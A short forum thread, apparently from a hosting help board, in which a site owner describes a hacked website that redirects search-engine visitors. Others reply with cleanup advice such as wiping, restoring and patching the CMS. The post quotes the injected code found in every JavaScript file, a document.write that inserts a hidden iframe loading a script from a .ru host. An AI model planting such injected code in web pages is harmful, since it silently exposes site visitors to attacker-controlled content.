I have a site on Linode that has been hacked. The site itself is still up and you directly type the URL in, then you go to the site. But if you search on Google or Yahoo or other search engines you get redirected to a lady gaga site. I found some stuff that was added to the .htaccess file but after removing that the problem persists. Any idea?

Here's the site: http://assuredbio.com
If you google AssuredBio and then click the link you'll see the redirect to Lady Gaga's costume ball or something at ladygaga.com.

At the end of every single javascript on the page is this:

document.write('<iframe src="http://areashumannah.ru/irisnondisclosure.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>');

I would consider your box well and thoroughly hacked. Nothing can be trusted. Backup, wipe, have somebody knowledgeable reinstall and secure. The fact that you're accepting credit card details makes this worse.

One frequent cause of this type of hack is a CMS or modules/plugins that have not been kept up-to-date (or poorly written to begin with). I saw something very similar recently on a website running an old version of Joomla.

Restore from backup, then apply security patches etc. and see if the hack reappears (which it will undoubtedly do until you plug the hole).